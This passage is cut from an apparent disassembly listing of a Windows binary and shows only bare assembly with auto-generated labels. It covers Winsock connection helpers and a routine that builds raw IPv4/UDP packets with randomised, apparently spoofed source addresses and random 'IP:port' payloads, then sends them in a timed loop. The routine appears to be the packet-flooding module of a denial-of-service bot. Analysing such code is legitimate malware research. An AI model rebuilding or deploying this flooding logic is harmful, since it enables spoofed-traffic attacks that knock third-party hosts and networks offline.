[ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE84 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE8C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF48 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C ; Sleep mov eax, [ebp+var_1334] 